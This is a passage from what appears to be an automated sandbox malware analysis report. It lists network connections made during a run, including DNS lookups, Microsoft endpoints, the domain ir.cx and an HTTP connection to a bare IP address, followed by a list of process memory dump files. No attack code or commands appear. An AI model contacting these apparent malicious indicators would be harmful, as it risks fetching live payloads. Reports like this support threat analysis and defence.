| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | ir.cx | udp |
| US | 172.67.197.42:443 | ir.cx | tcp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.140.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| FR | 216.58.214.163:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | 42.197.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 163.214.58.216.in-addr.arpa | udp |
| NL | 45.66.231.209:80 | 45.66.231.209 | tcp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.231.66.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.179.89.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
Files
memory/4380-0-0x00007FFC14870000-0x00007FFC14880000-memory.dmp
memory/4380-2-0x00007FFC14870000-0x00007FFC14880000-memory.dmp
memory/4380-4-0x00007FFC14870000-0x00007FFC14880000-memory.dmp
memory/4380-1-0x00007FFC14870000-0x00007FFC14880000-memory.dmp
memory/4380-3-0x00007FFC5488D000-0x00007FFC5488E000-memory.dmp
memory/4380-5-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/4380-6-0x00007FFC14870000-0x00007FFC14880000-memory.dmp
memory/4380-12-0x00007FFC12810000-0x00007FFC12820000-memory.dmp
memory/4380-11-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/4380-10-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/4380-13-0x00007FFC12810000-0x00007FFC12820000-memory.dmp
memory/4380-9-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/4380-8-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/4380-7-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/2196-34-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/2196-35-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/2196-37-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/4380-42-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/2196-43-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp
memory/2196-44-0x00007FF68EE70000-0x00007FF68EE78000-memory.dmp
memory/4380-76-0x00007FFC14870000-0x00007FFC14880000-memory.dmp
memory/4380-75-0x00007FFC14870000-0x00007FFC14880000-memory.dmp
memory/4380-74-0x00007FFC14870000-0x00007FFC14880000-memory.dmp
memory/4380-73-0x00007FFC14870000-0x00007FFC14880000-memory.dmp
memory/4380-77-0x00007FFC547F0000-0x00007FFC549E5000-memory.dmp